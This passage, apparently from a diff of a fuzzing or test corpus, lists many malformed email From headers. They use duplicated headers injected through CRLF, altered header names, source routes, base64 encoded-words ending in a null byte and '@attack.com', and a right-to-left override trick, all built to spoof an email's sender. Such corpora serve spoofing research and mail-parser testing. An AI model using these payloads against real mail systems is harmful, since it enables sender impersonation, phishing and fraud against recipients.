<=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBsaXZlLmNvbT4sd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOndlYm1hc3RlckAxMjYuY29tPiw8QGEuY29tOkBiLmNvbTpBbGljZUAxMzkuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", - "From: \r\nFrom:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", - "From :wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", - "From: \r\nFrom:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", - " From: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", - " Fromÿ: \r\nFrom:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", - "From :(hi)\r\n", - "From: ,Mike@icloud.com\r\n", - " From:attacker@outlook.com\r\n", - " FrOM: \r\nFrom:admin@139.com,(comm\r\nent)(comment)\r\n", - " FrOM: \r\nFrom:,,(comment),webmaster@sina.cn,(hi)\r\n", - "From: <=?utf-8?RnJvbTosYXR0YWNrZXJAaG90bWFpbC5jb20NCg===?=>", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUB5bWFpbC5jb20uY24sc2VjdXJpdHlAcXEuY29tLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckB5bWFpbC5jb20uY24+DQo==?=>\u0000@attack.com", - "From:(comment),Mike@qq.com,()(hi)\r\n", - " FrOM: \r\nFrom:admin@china.com\r\n", - " From:<@a.com:@b.com:Bob@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBzb2h1LmNvbT4NCg===?=>", - " FrOM: \r\nFrom:<@qq.com:@163.com:Mike@163.com>\r\n", - " From: \r\nFrom:(comm\r\nent),attacker@163.com\r\n", - " From:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", - "From: <@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", - " From:key@sohu.com\r\n", - "From: (hi)\r\n", - " Fromÿ: \r\nFrom:wordword(),wordwordword(comm\r\nent)\r\n", - " From: \r\nFrom:(),Mike@139.com,\r\n", - " Fromÿ: \r\nFrom:,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", - "From :key@icloud.com\r\n", - " FrOM: \r\nFrom:attacker@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTpockAxNjMuY29tDQo==?=>", - " From:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", - "From: (comm\r\nent)(comm\r\nent)\r\n", - "From: wordword(),wordwordword(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOndlYm1hc3RlckBjaGluYS5jb20+DQo==?=>\u0000@attack.com", - "From:()\r\n", - "From :key@msn.com\r\n", - " Fromÿ: \r\nFrom:key@ymail.com.cn\r\n", - "From:,(comment),(),word..(hi)\r\n", - "From: \r\nFrom:admin@china.com,,,\r\n", - " From: \r\nFrom:,,(comment),webmaster@sina.cn,(hi)\r\n", - " From:(comm\r\nent)(comm\r\nent)\r\n", - "From :admin@sohu.com\r\n", - " From:Alice@gmail.com,hr@icloud.com\r\n", - "From :word(comm\r\nent)\r\n", - "From: \r\nFrom:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", - "From: <=?utf-8?RnJvbTooKTxAYS5jb206QGIuY29tOnNlY3VyaXR5QHltYWlsLmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", - " FrOM: \r\nFrom:(comm\r\nent)\r\n", - "From :wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", - "From: (),Mike@139.com,\r\n", - " From: \r\nFrom:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", - " From:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", - " From: \r\nFrom:Alice@live.com\r\n", - " FrOM: \r\nFrom:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", - " From: \r\nFrom:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", - "From: <=?utf-8?RnJvbTooaGkpPEFsaWNlQDEzOS5jb20+KGNvbW1lbnQpLGF0dGFja2VyQHFxLmNvbSw8YXR0YWNrZXJAeW1haWwuY29tPigpLHdlYm1hc3RlckBzaW5hLmNvbQ0K=?=>", - " Fromÿ: \r\nFrom:,Mike@ymail.com\r\n", - "From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", - "From :,webmaster@foxmail.com\r\n", - " From:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", - "From: \r\nFrom:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", - " From: \r\nFrom:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", - "From :,,Alice@hotmail.com,webmaster@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAYS5jb206QGIuY29tOk1pa2VAaWNsb3VkLmNvbT4oKSx3b3JkKGNvbW1lbnQpPGhyQHltYWlsLmNvbS5jbj4sc2VjdXJpdHlAbXNuLmNvbSx3b3JkPHNlY3VyaXR5QGdtYWlsLmNvbT4NCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTpBbGljZUBmb3htYWlsLmNvbSxhdHRhY2tlckAxMzkuY29tDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosLEFsaWNlQG1zbi5jb20sLCgpDQo==?=>", - "From :attacker@ymail.com.cn\r\n", - "From: word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", - "From :key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", - " From: \r\nFrom:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTprZXlAeW1haWwuY29tLmNuDQo==?=>", - "From: Bob@139.com,hr@china.com\r\n", - "From: \r\nFrom:,,,\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUAxNjMuY29tDQo==?=>\u0000@attack.com", - " From: \r\nFrom:(comment),Mike@qq.com,()(hi)\r\n", - " Fromÿ: \r\nFrom:word(),wordword(hi)\r\n", - " Fromÿ: \r\nFrom:hr@ymail.com.cn\r\n", - " FrOM: \r\nFrom:attacker@gmail.com,Mike@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTprZXlAZm94bWFpbC5jb20sKA0KKQ0K=?=>", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixNaWtlQDE2My5jb20NCg===?=>", - " Fromÿ: \r\nFrom:(comment)<@a.com:@b.com:Bob@139.com>\r\n", - "From :()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckB5bWFpbC5jb20+DQo==?=>", - " FrOM: \r\nFrom:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", - "From :(comment),Mike@qq.com,()(hi)\r\n", - " From:hr@163.com\r\n", - "From :word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", - " From:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", - " FrOM: \r\nFrom:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChoaSkuKA0KKShjb21tZW50KTxzZWN1cml0eUB5bWFpbC5jb20uY24+LHdvcmR3b3Jkd29yZHdvcmQoaGkpPHNlY3VyaXR5QDEyNi5jb20+KGNvbW0NCmVudCksd2VibWFzdGVyQHFxLmNvbSxhdHRhY2tlckBhbGl5dW4uY29tLGhyQGhvdG1haWwuY29tDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosKCk8a2V5QHltYWlsLmNvbT4oY29tbWVudCksKA0KKQ0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosQWxpY2VAdG9wLmNvbQ0K=?=>\u0000@attack.com", - " From:webmaster@139.com\r\n", - "From: attacker@gmail.com,Mike@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", - " From: \r\nFrom:webmaster@sina.cn,Mike@163.com\r\n", - "From: attacker@sohu.com\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBzaW5hLmNvbSwoY29tbWVudCksDQo==?=>", - "From :wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", - "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQGZveG1haWwuY29tDQo==?=>\u0000@attack.com", - " From: \r\nFrom:admin@163.com,attacker@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbSxockBjaGluYS5jb20NCg===?=>", - "From: \r\nFrom:(comment),Mike@qq.com,()(hi)\r\n", - " From: \r\nFrom:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxzZWN1cml0eUBtc24uY29tPihoaSkNCg===?=>", - "From: admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", - " From:,Bob@ymail.com\r\n", - "From: Mike@top.com,key@outlook.com\r\n", - " From: \r\nFrom:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", - "From: <=?utf-8?RnJvbTosQm9iQHltYWlsLmNvbQ0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPGhyQHNvaHUuY29tPihoaSksQm9iQHltYWlsLmNvbS5jbiwoY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAZm94bWFpbC5jb20+DQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockBzb2h1LmNvbT4oaGkpLGtleUBtc24uY29tDQo==?=>\u0000@attack.com", - "From: \r\nFrom:word(comm\r\nent)\r\n", - "From :admin@sina.com,(comment),\r\n", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxMjYuY29tDQo==?=>", - " From: \r\nFrom:(\r\n),(hi),(),(comm\r\nent),\r\n", - "From :word(comment)(comment)\r\n", - " Fromÿ: \r\nFrom:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", - "From: \r\nFrom:Bob@aliyun.com,(),,,word\r\n", - " From: \r\nFrom:Mike@163.com,(comm\r\nent)\r\n", - "From :,(comment),(),word..(hi)\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxhdHRhY2tlckAxNjMuY29tDQo==?=>", - "From:(\r\n),key@qq.com,\r\n", - " From:,(\r\n)\r\n", - "From: \r\nFrom:Alice@outlook.com,word\r\n", - " FrOM: \r\nFrom:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", - " FrOM: \r\nFrom:hr@foxmail.com,,\r\n", - "From:Alice@live.com\r\n", - " From: \r\nFrom:<@a.com:@b.com:security@qq.com>\r\n", - " FrOM: \r\nFrom:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", - " From:admin@163.com,attacker@hotmail.com\r\n", - " From: \r\nFrom:,(comment),key@qq.com,(hi)\r\n", - "From: <=?utf-8?RnJvbTosaHJAbGl2ZS5jb20saHJAMTI2LmNvbQ0K=?=>\u0000@attack.com", - " From: \r\nFrom:webmaster@qq.com,()\r\n", - " From:Bob@aliyun.com,(),,,word\r\n", - "From: Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", - "From: \r\nFrom:webmaster@sina.com\r\n", - " Fromÿ: \r\nFrom:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", - "From: <=?utf-8?RnJvbTooDQopLGFkbWluQHltYWlsLmNvbS5jbg0K=?=>", - "From:(hi)\r\n", - "From: \r\nFrom:word(comm\r\nent),,(\r\n)\r\n", - "From: \r\nFrom:admin@sohu.com\r\n", - " FrOM: \r\nFrom:(\r\n),(hi),(),(comm\r\nent),\r\n", - " Fromÿ: \r\nFrom:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", - " From: \r\nFrom:(hi),(),,,word()(\r\n)()\r\n", - " Fromÿ: \r\nFrom:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", - "From :(\r\n),key@qq.com,\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tDQo==?=>\u0000@attack.com", - " From:,,,word(\r\n)\r\n", - "From: \r\nFrom:Mike@top.com,key@outlook.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockBzb2h1LmNvbT4oaGkpLGtleUBtc24uY29tDQo==?=>", - "From:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", - " From:admin@china.com,,,\r\n", - " Fromÿ: \r\nFrom:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", - "From: \r\nFrom:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206a2V5QDEyNi5jb20+DQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20sLCwNCg===?=>", - "From:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", - "From: \r\nFrom:(),webmaster@sina.cn,\r\n", - "From: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", - "From:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", - " From:,,key@foxmail.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxrZXlAc29odS5jb20NCg===?=>", - "From :(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", - "From:<‮moc.a@‭alice", - " FrOM: \r\nFrom:()<@gmail.com:@b.com:Mike@live.com>\r\n", - "From :Bob@139.com,hr@china.com\r\n", - " From:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", - "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpCb2JAMTYzLmNvbT4oaGkpDQo==?=>", - "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sTWlrZUBxcS5jb20NCg===?=>", - "From :,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", - "From: \r\nFrom:,Alice@china.com\r\n", - "From:()<@gmail.com:@b.com:Mike@live.com>\r\n", - " From:hr@126.com\r\n", - "From: webmaster@139.com\r\n", - " From:Alice@163.com\r\n", - " From:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", - " FrOM: \r\nFrom:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", - " Fromÿ: \r\nFrom:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", - "From: <=?utf-8?RnJvbTpockBzb2h1LmNvbQ0K=?=>", - " FrOM: \r\nFrom:,()(comment),(\r\n)\r\n", - " From: \r\nFrom:(comm\r\nent)(comm\r\nent)\r\n", - " From: \r\nFrom:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206a2V5QHltYWlsLmNvbT4oDQopDQo==?=>", - " Fromÿ: \r\nFrom:Alice@outlook.com\r\n", - " Fromÿ: \r\nFrom:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", - " From:Alice@aliyun.com\r\n", - "From:key@icloud.com\r\n", - " From: \r\nFrom:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", - "From: \r\nFrom:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", - " From: \r\nFrom:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", - "From: \r\nFrom:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tDQplbnQpPEBhLmNvbTpAYi5jb206QWxpY2VAc29odS5jb20+LHdvcmQoY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQHltYWlsLmNvbS5jbj4oY29tbWVudCksQm9iQHNpbmEuY24sa2V5QDE2My5jb20sd2VibWFzdGVyQHRvcC5jb20NCg===?=>\u0000@attack.com", - " From:word(\r\n)(\r\n)\r\n", - "From: <=?utf-8?RnJvbTosPGFkbWluQHNpbmEuY29tPiwsDQo==?=>", - "From: \r\nFrom:,(\r\n)\r\n", - "From: \r\nFrom:(comm\r\nent)(hi)\r\n", - "From: word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", - "From :Mike@163.com,(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:(hi),,(hi),(hi)\r\n", - "From: (comment),word(comm\r\nent),(),(\r\n)\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockB0b3AuY29tPg0K=?=>", - "From :attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTosPEBnbWFpbC5jb206QGIuY29tOmFkbWluQGNoaW5hLmNvbT4sKGhpKTxAZ21haWwuY29tOkBiLmNvbTphdHRhY2tlckBtc24uY29tPiwoaGkpLCwoKSwNCg===?=>", - " From: \r\nFrom:()\r\n", - " Fromÿ: \r\nFrom:Alice@outlook.com,word\r\n", - "From: ,attacker@sina.com,(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPiw8QGEuY29tOkBiLmNvbTprZXlAZm94bWFpbC5jb20+LA0K=?=>\u0000@attack.com", - " From: \r\nFrom:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", - "From :<@qq.com:@163.com:Mike@163.com>\r\n", - " FrOM: \r\nFrom:(comment),(),webmaster@hotmail.com\r\n", - " From:,,,\r\n", - " From:Alice@outlook.com,word\r\n", - "From :(comm\r\nent)(comm\r\nent)\r\n", - "From: \r\nFrom:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", - "From: <=?utf-8?RnJvbTosPEBhLmNvbTpAYi5jb206QWxpY2VAc2luYS5jbj4NCg===?=>", - " From: \r\nFrom:(comm\r\nent)\r\n", - " From:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", - "From :()(comment)\r\n", - " From:security@126.com\r\n", - "From: <=?utf-8?RnJvbTooKTxNaWtlQHltYWlsLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", - " From:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", - "From: word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", - "From:admin@icloud.com\r\n", - "From: <=?utf-8?RnJvbTprZXlAeW1haWwuY29tLmNuDQo==?=>\u0000@attack.com", - " From: \r\nFrom:,webmaster@sina.cn,,,(\r\n)\r\n", - "From :word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", - "From: ", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206a2V5QDEyNi5jb20+LHdvcmQuPGF0dGFja2VyQGdtYWlsLmNvbT4oDQopLHdvcmQoKTxzZWN1cml0eUBzaW5hLmNuPihjb21tZW50KSwsKGNvbW1lbnQpDQo==?=>", - "From: ,<@a.com:@b.com:Alice@sina.cn>\r\n", - "From: <=?utf-8?RnJvbTosLChjb21tZW50KSx3ZWJtYXN0ZXJAc2luYS5jbiwoaGkpDQo==?=>\u0000@attack.com", - " From:()\r\n", - " From:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", - " FrOM: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", - "From: admin@live.com\r\n", - "From: <=?utf-8?RnJvbTprZXlAc29odS5jb20NCg===?=>", - "From: <=?utf-8?RnJvbTosLEFsaWNlQGhvdG1haWwuY29tLHdlYm1hc3RlckBmb3htYWlsLmNvbQ0K=?=>", - " From: \r\nFrom:webmaster@139.com\r\n", - " FrOM: \r\nFrom:,(comment),key@qq.com,(hi)\r\n", - "From: ,hr@aliyun.com\r\n", - "From:,<@a.com:@b.com:Alice@sina.cn>\r\n", - "From:hr@126.com\r\n", - "From :word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", - " Fromÿ: \r\nFrom:<@qq.com:@163.com:Alice@sohu.com>\r\n", - " Fromÿ: \r\nFrom:admin@sohu.com\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZ21haWwuY29tDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTpNaWtlQDE2My5jb20sKGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:(comment),wordword\r\n", - " FrOM: \r\nFrom:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", - "From: \r\nFrom:(hi),admin@msn.com\r\n", - "From: key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", - " FrOM: \r\nFrom:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", - "From :(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", - " From:admin@sina.com,(comment),\r\n", - "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOmF0dGFja2VyQGZveG1haWwuY29tPigpDQo==?=>\u0000@attack.com", - "From:(hi),,(hi),(hi)\r\n", - "From: <=?utf-8?RnJvbTooDQopLGtleUBxcS5jb20sDQo==?=>\u0000@attack.com", - "From:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", - "From: ,,key@foxmail.com\r\n", - " Fromÿ: \r\nFrom:webmaster@sina.com\r\n", - "From :word(hi)(comm\r\nent)\r\n", - " From: \r\nFrom:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", - " From:<@qq.com:@163.com:Mike@163.com>\r\n", - "From: \r\nFrom:key@outlook.com,(comm\r\nent)\r\n", - "From:<@gmail.com:@b.com:key@top.com>\r\n", - "From: word(comm\r\nent),,(\r\n)\r\n", - " From:hr@ymail.com.cn\r\n", - " Fromÿ: \r\nFrom:,Bob@ymail.com\r\n", - "From: <=?utf-8?RnJvbTpCb2JAY2hpbmEuY29tLDxAcXEuY29tOkAxNjMuY29tOkJvYkBxcS5jb20+DQo==?=>\u0000@attack.com", - "From :Alice@aliyun.com\r\n", - " Fromÿ: \r\nFrom:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", - "From:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", - "From:key@ymail.com.cn\r\n", - "From: webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", - " FrOM: \r\nFrom:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", - " FrOM: \r\nFrom:Mike@top.com,key@outlook.com\r\n", - " From: \r\nFrom:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", - "From: Bob@qq.com,wordwordwordword(hi)\r\n", - " From:(\r\n),(hi),(),(comm\r\nent),\r\n", - " Fromÿ: \r\nFrom:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", - "From :webmaster@126.com\r\n", - " From:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", - " FrOM: \r\nFrom:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", - " From: \r\nFrom:word(comm\r\nent)\r\n", - "From:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", - " From:,hr@live.com,hr@126.com\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUAxNjMuY29tDQo==?=>", - " From:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", - " FrOM: \r\nFrom:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", - "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLGtleUBxcS5jb20sKGhpKQ0K=?=>", - " From: \r\nFrom:admin@live.com\r\n", - " Fromÿ: \r\nFrom:admin@139.com,(comm\r\nent)(comment)\r\n", - " From: \r\nFrom:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20NCg===?=>", - "From :(\r\n),(hi),(),(comm\r\nent),\r\n", - " FrOM: \r\nFrom:attacker@sohu.com,webmaster@foxmail.com\r\n", - " From:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", - "From :(),webmaster@sina.cn,\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206a2V5QG91dGxvb2suY29tPigNCiksLChjb21tZW50KQ0K=?=>", - "From:security@163.com\r\n", - "From: hr@gmail.com\r\n", - "From: \r\nFrom:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", - "From :(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", - " Fromÿ: \r\nFrom:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", - "From :key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", - " Fromÿ: \r\nFrom:key@sohu.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkLigpPE1pa2VAMTI2LmNvbT4oKSw8QGdtYWlsLmNvbTpAYi5jb206a2V5QG1zbi5jb20+KGNvbW0NCmVudCksd29yZCgNCik8d2VibWFzdGVyQDEyNi5jb20+LDxNaWtlQGZveG1haWwuY29tPg0K=?=>\u0000@attack.com", - " From: \r\nFrom:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", - " Fromÿ: \r\nFrom:wordword\r\n", - "From:,word(\r\n),,(),key@ymail.com.cn,()\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQDE2My5jb20+KGhpKQ0K=?=>", - "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY29tPihoaSkNCg===?=>", - "From:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", - " From:,,Alice@msn.com,,()\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQGZveG1haWwuY29tPix3b3JkPGF0dGFja2VyQGxpdmUuY29tPix3b3JkKGNvbW1lbnQpPGhyQHNpbmEuY29tPihjb21tDQplbnQpDQo==?=>\u0000@attack.com", - " From: \r\nFrom:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZ21haWwuY29tLGtleUAxMjYuY29tDQo==?=>", - "From: \r\nFrom:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", - "From: 